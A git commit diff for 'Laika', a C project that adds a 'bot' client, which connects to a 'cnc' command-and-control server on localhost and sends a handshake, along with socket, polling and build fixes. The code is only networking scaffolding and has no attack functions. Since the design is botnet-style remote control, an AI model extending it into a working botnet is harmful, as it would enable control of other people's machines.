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Laika
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First actual runnable version 

- many warnings & bug fixes
- added bot/ source
This commit is contained in:
CPunch 2022-01-24 21:46:29 -06:00
parent 0dee6fe3fc
commit 1bccc78117
17 changed files with 196 additions and 41 deletions
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2
.gitignore vendored
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@ -1,2 +1,4 @@
build
debug
bin
.vscode

8
CMakeLists.txt
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@ -1,4 +1,12 @@
cmake_minimum_required(VERSION 3.10)
project(Laika)
# Set the project as the default startup project for VS
set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT Laika)
# Output binaries to the bin folder in the source directory
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_SOURCE_DIR}/bin)
set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_SOURCE_DIR}/bin)
# compile laikalib, cnc & bot
add_subdirectory(lib)

21
bot/include/bot.h Normal file
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@ -0,0 +1,21 @@
#ifndef LAIKA_BOT_H
#define LAIKA_BOT_H
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpeer.h"
#include "lpolllist.h"
struct sLaika_bot {
struct sLaika_peer *peer;
struct sLaika_pollList pList;
};
struct sLaika_bot *laikaB_newBot(void);
void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
#endif

73
bot/src/bot.c Normal file
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@ -0,0 +1,73 @@
#include "lmem.h"
#include "lerror.h"
#include "bot.h"
size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
};
void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
printf("got %d packet id!\n", id);
}
struct sLaika_bot *laikaB_newBot(void) {
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer(
laikaB_pktHandler,
laikaB_pktSizeTbl,
&bot->pList,
(void*)bot
);
return bot;
}
void laikaB_freeBot(struct sLaika_bot *bot) {
laikaP_cleanPList(&bot->pList);
laikaS_freePeer(bot->peer);
laikaM_free(bot);
}
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
struct sLaika_socket *sock = &bot->peer->sock;
/* setup socket */
laikaS_connect(sock, ip, port);
laikaS_setNonBlock(sock);
laikaP_addSock(&bot->pList, sock);
/* queue handshake request */
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
laikaS_writeByte(sock, LIB_VERSION_MAJOR);
laikaS_writeByte(sock, LIB_VERSION_MINOR);
if (!laikaS_handlePeerOut(bot->peer))
LAIKA_ERROR("failed to send handshake request!\n")
}
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
struct sLaika_pollEvent *evnt;
int numEvents;
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
if (numEvents == 0) /* no events? timeout was reached */
return false;
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
goto _BKill;
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
goto _BKill;
if (!evnt->pollIn && !evnt->pollOut) {
_BKill:
laikaS_kill(&bot->peer->sock);
}
return true;
}

21
bot/src/main.c
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@ -0,0 +1,21 @@
#include <stdio.h>
#include "lerror.h"
#include "bot.h"
int main(int argv, char **argc) {
struct sLaika_bot *bot = laikaB_newBot();
/* connect to test CNC */
laikaB_connectToCNC(bot, "127.0.0.1", "13337");
/* while connection is still alive, poll bot */
while (laikaS_isAlive((&bot->peer->sock))) {
if (!laikaB_poll(bot, 1000)) {
printf("no events!\n");
}
}
printf("bot killed\n");
return 0;
}

7
cnc/src/cnc.c
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@ -7,7 +7,7 @@ size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
};
void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
void laikaC_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
printf("got %d packet id!\n", id);
}
@ -34,7 +34,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
}
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
laikaP_rmvSock(&cnc->pList, (struct sLaika_sock*)peer);
printf("peer %x killed!\n", peer);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
laikaS_kill(&peer->sock);
}
@ -66,6 +67,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
/* add to our pollList */
laikaP_addSock(&cnc->pList, &peer->sock);
printf("new peer %x!\n", peer);
continue;
}

16
cnc/src/main.c
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@ -0,0 +1,16 @@
#include <stdio.h>
#include "cnc.h"
int main(int argv, char **argc) {
struct sLaika_cnc *cnc = laikaC_newCNC(13337);
while (true) {
if (!laikaC_pollPeers(cnc, 1000)) {
printf("no events!\n");
}
}
printf("cnc killed\n");
return 0;
}

5
lib/CMakeLists.txt
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@ -14,9 +14,6 @@ project(LaikaLib VERSION ${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# Set the project as the default startup project for VS
set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT LaikaLib)
# compile LaikaLib library
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_library(LaikaLib STATIC ${LIBSOURCE})
@ -28,4 +25,4 @@ target_compile_definitions(LaikaLib PUBLIC LIB_VERSION_MAJOR=${LIB_VERSION_MAJOR
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR})
# set library name
set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME net-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})

9
lib/include/laika.h
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@ -10,4 +10,13 @@
#define ARRAY_START 4
/* for intellisense */
#ifndef LIB_VERSION_MAJOR
#define LIB_VERSION_MAJOR 0
#endif
#ifndef LIB_VERSION_MINOR
#define LIB_VERSION_MINOR 0
#endif
#endif

2
lib/include/lmem.h
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@ -11,7 +11,7 @@
#define laikaM_growarray(type, buf, count, capacity) \
if (count >= capacity || buf == NULL) { \
capacity *= GROW_FACTOR; \
buf = (type*)cosmoM_realloc(buf, sizeof(type)*capacity); \
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */

4
lib/include/lpacket.h
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@ -4,10 +4,10 @@
#define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4
typedef enum {
enum {
LAIKAPKT_HANDSHAKE_REQ,
LAIKAPKT_HANDSHAKE_RES,
LAIKAPKT_MAXNONE
} LAIKAPKT_ID;
};
#endif

6
lib/include/lpeer.h
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@ -9,15 +9,15 @@
struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
struct sLaika_pollList *pList; /* pollList we're active in */
void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData);
void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData);
void *uData; /* data to be passed to pktHandler */
size_t *pktSizeTable; /* const table to pull pkt size data from */
size_t pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
uint8_t pktID; /* current pkt ID */
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
};
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData);
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
bool laikaS_handlePeerIn(struct sLaika_peer *peer);

10
lib/include/lsocket.h
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@ -1,3 +1,7 @@
#ifndef LAIKA_SOCKET_H
#define LAIKA_SOCKET_H
/* socket/winsock headers */
#ifdef _WIN32
/* windows */
@ -62,7 +66,7 @@ struct sLaika_socket {
int inCount;
int outCap;
int inCap;
bool flipEndian
bool flipEndian;
};
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
@ -95,4 +99,6 @@ void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
#endif

2
lib/src/lmem.c
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@ -12,7 +12,7 @@ void *laikaM_realloc(void *buf, size_t sz) {
/* if NULL is passed, realloc() acts like malloc() */
if ((newBuf = realloc(buf, sz)) == NULL)
LAIKA_ERROR("failed to allocate memory!");
LAIKA_ERROR("failed to allocate memory!\n");
return newBuf;
}

6
lib/src/lpeer.c
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@ -2,7 +2,7 @@
#include "lmem.h"
#include "lpeer.h"
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
laikaS_initSocket(&peer->sock);
@ -35,7 +35,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
/* sanity check packet ID */
if (peer->pktID >= LAIKAPKT_MAXNONE)
LAIKA_ERROR("received evil pktID!")
LAIKA_ERROR("received evil pktID!\n")
peer->pktSize = peer->pktSizeTable[peer->pktID];
break;
@ -67,7 +67,7 @@ bool laikaS_handlePeerOut(struct sLaika_peer *peer) {
int sent;
if (peer->sock.outCount == 0) /* sanity check */
return;
return true;
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
case RAWSOCK_OK: /* we're ok! */

14
lib/src/lpolllist.c
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@ -32,7 +32,7 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
/* setup our epoll */
memset(&pList->ev, 0, sizeof(struct epoll_event));
if ((pList->epollfd = epoll_create(POLLSTARTCAP)) == -1)
LAIKA_ERROR("epoll_create() failed!");
LAIKA_ERROR("epoll_create() failed!\n");
#else
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
@ -62,7 +62,7 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
pList->ev.data.ptr = (void*)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
LAIKA_ERROR("epoll_ctl [ADD] failed");
LAIKA_ERROR("epoll_ctl [ADD] failed\n");
#else
/* allocate space in array & add PollFD */
@ -79,7 +79,7 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [DEL] failed");
LAIKA_WARN("epoll_ctl [DEL] failed\n");
}
#else
int i;
@ -101,7 +101,7 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
pList->ev.data.ptr = (void*)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [MOD] failed");
LAIKA_WARN("epoll_ctl [MOD] failed\n");
}
#else
int i;
@ -122,7 +122,7 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
pList->ev.data.ptr = (void*)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [MOD] failed");
LAIKA_WARN("epoll_ctl [MOD] failed\n");
}
#else
int i;
@ -148,7 +148,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
if (SOCKETERROR(nEvents))
LAIKA_ERROR("epoll_wait() failed!");
LAIKA_ERROR("epoll_wait() failed!\n");
for (i = 0; i < nEvents; i++) {
/* add event to revent array */
@ -163,7 +163,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */
if (SOCKETERROR(nEvents))
LAIKA_ERROR("poll() failed!");
LAIKA_ERROR("poll() failed!\n");
/* walk through the returned poll fds, if they have an event, add it to our revents array */
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {

31
lib/src/lsocket.c
View File

@ -15,7 +15,7 @@ void laikaS_init(void) {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
LAIKA_ERROR("WSAStartup failed!")
LAIKA_ERROR("WSAStartup failed!\n")
#endif
}
@ -39,7 +39,6 @@ void laikaS_initSocket(struct sLaika_socket *sock) {
sock->flipEndian = false;
laikaS_init();
return sock;
}
void laikaS_cleanSocket(struct sLaika_socket *sock) {
@ -71,7 +70,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
struct addrinfo res, *result, *curr;
if (!SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket already setup!");
LAIKA_ERROR("socket already setup!\n");
/* zero out our address info and setup the type */
memset(&res, 0, sizeof(struct addrinfo));
@ -80,7 +79,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
/* grab the address info */
if (getaddrinfo(ip, port, &res, &result) != 0)
LAIKA_ERROR("getaddrinfo() failed!");
LAIKA_ERROR("getaddrinfo() failed!\n");
/* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */
for (curr = result; curr != NULL; curr = curr->ai_next) {
@ -100,20 +99,20 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
/* if we reached the end of the linked list, we failed looking up the addr */
if (curr == NULL)
LAIKA_ERROR("couldn't connect a valid address handle to socket!");
LAIKA_ERROR("couldn't connect a valid address handle to socket!\n");
}
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
socklen_t addressSize;
struct sockaddr_in address;
if (!SOCKETINVALID(sock))
LAIKA_ERROR("socket already setup!")
if (!SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket already setup!\n")
/* open our socket */
sock->sock = socket(AF_INET, SOCK_STREAM, 0);
if (SOCKETINVALID(sock))
LAIKA_ERROR("socket() failed!");
if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket() failed!\n");
/* attach socket to the port */
int opt = 1;
@ -122,7 +121,7 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
#else
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
#endif
LAIKA_ERROR("setsockopt() failed!");
LAIKA_ERROR("setsockopt() failed!\n");
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
@ -132,19 +131,19 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
/* bind to the port */
if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize)))
LAIKA_ERROR("bind() failed!");
LAIKA_ERROR("bind() failed!\n");
if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
LAIKA_ERROR("listen() failed!");
LAIKA_ERROR("listen() failed!\n");
}
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from) {
socklen_t addressSize;
struct sockaddr address;
sock = accept(from->sock, &address, &addressSize);
if (SOCKETINVALID(sock))
LAIKA_ERROR("accept() failed!")
sock->sock = accept(from->sock, &address, &addressSize);
if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("accept() failed!\n")
}
bool laikaS_setNonBlock(struct sLaika_socket *sock) {
@ -154,7 +153,7 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
#else
if (fcntl(sock->sock, F_SETFL, (fcntl(sock->sock, F_GETFL, 0) | O_NONBLOCK)) != 0) {
#endif
LAIKA_WARN("fcntl failed on new connection");
LAIKA_WARN("fcntl failed on new connection\n");
laikaS_kill(sock);
return false;
}